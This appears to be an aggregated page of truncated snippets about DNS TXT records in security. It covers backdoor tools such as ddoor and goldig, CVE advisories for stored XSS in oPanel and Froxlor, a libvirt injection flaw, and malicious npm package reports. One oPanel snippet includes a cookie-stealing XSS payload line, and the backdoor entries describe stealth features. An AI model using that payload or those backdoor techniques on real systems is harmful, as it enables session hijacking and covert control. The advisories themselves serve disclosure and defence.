ddoor

ddoor 使用DNS TXT记录的跨平台后门 什么是ddor? ddor 是一个跨平台轻量级后门，使用TXT记录在受感染机器上执行命令。 特性 允许单个TXT记录为Linux和Windows机器分别设置命令 大约10个公共DNS服务器的列表，随机选择 不可预测的回调时间 使用自定义密码的XOR加密TXT记录 支持DNS over HTTPS（感谢Keith @keharv添加此功能！） Linux特性: 反调试，如果检测到ptrace附加到进程，它将退出。 进程名称/线程名称被隐藏，一个假名称覆盖所有系统参数和文件名，使其看起来像合法程序。 自动守护进程化...

CVE-2026-50980

CVE-2026-50980：基于 DNS 的跨站脚本攻击（XSS）及会话劫持（oPanel） 概述 CVE ID： CVE-2026-50980 产品： oPanel 受影响版本： new Image.src='http://:/log?cookie='+document.cookie;...

dark-doh

dark-doh.exe 公開版 目的: DoH 経由でファイルをダウンロードする、またはシェルコードをダウンロードして実行する（公開版には未実装） 実行例: dark-doh.exe file1 download google yourdomain.com DNSゾーン生成用のPythonサポートスクリプトを追加（py-prepzones.py）。 !!! 免責事項 !!! 作者は、dark-doh.exe をどのように使用するかについて、一切の責任を負いません。...

goldig

プロジェクトは github.com/rtfmkiesel/goldig に移行しました goldig DNSレコードを介してWindows上でコマンドを実行します。 このユーティリティはDNSサーバーを作成し、悪意のあるTXTレコードを提供します。コンソール出力のコマンドをコピーしてWindowsシェルに貼り付けるだけです。 使用方法 root@kitploit: usage: goldig OPTIONS Options: -i バインドするインターフェース デフォルト: eth0 -c 提供するコマンド デフォルト: calc.exe -h このテキストを表示 インストール...

RedTeamScripts

RedTeamScripts さまざまなレッドチーム用スクリプトをまとめたリポジトリです。 kill.exe レッドチーム活動中にさまざまな作業を行っていて、手動で閉じたくないプロセスが複数実行されている場合、kill.exe が役立ちます。C:\Windows\ にコピーして、終了したいプロセス名を指定して呼び出すだけです。 root@kitploit: kill mspaint killing mspaint 16524 killing mspaint 5284 killing mspaint 8568 killing mspaint 32244 killing mspaint...

CVE-2026-50980

Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...

CVE-2026-50980

Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...

EUVD-2026-67917

Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...

CVE-2026-50980

oPanel (a web hosting control panel) contains a Stored XSS in its DNS lookup/management component, affecting versions before v1.20.25 . The root cause is the lack of HTML encoding when DNS responses (specifically TXT records) are rendered in the panel's web interface. An attacker who controls a n...

CVE-2026-54347

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...

Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover

Summary A stored Cross-Site Scripting XSS vulnerability in Froxlor's DNS editor allows an authenticated user with DNS editor access customer role to inject arbitrary JavaScript into any administrator's browser session. When an administrator views the DNS configuration of an affected domain, the...

EUVD-2026-61219

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...

CVE-2026-54347 Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...

CVE-2026-54347

In Froxlor prior to 2.3.8, a low-privileged authenticated customer can store JavaScript in a DNS TXT record; it is rendered unescaped via the Twig |raw filter and an unescaped Text::wordwrap callback, auto-executing when an admin views the DNS table, enabling session theft and full admin account ...

CVE-2026-54347 Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...

Libvirt: libvirt: newline injection in network xml dns txt/srv fields allows dnsmasq config directive injection

...

Nearly 800 Malicious npm Packages Deliver Cross-Platform RAT and Infostealer

A cluster of nearly 800 malicious packages has been published to the npm registry as part of a new campaign designed to deliver cross-platform malware targeting Windows, Mac, and Linux systems. "These packages appear to use AI slop squatted, or randomly generated typo-squatting package names, but...

AZL-95478 CVE-2026-61477 affecting package libvirt for versions less than 11.9.0-1

An injection vulnerability was found in libvirt's virtual network driver. The network XML parser does not strip newline characters from DNS TXT record value attributes and SRV record domain/target attributes. These values are written verbatim into the dnsmasq configuration file generated by the...

CVE-2026-61477

An injection vulnerability was found in libvirt's virtual network driver. The network XML parser does not strip newline characters from DNS TXT record value attributes and SRV record domain/target attributes. These values are written verbatim into the dnsmasq configuration file generated by the...

MAL-2026-13273 Malicious code in devplatform-vite-plugin-gle (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 81ba08fb4c9c52336f51b45ebe9089ba0b441f3da79529ac1c56f146d71861b6 On require, support.js assembles C2 hostnames via split/join fragments resolving to oob-worker.cf100-416.workers.dev, cf103-070.workers.dev,...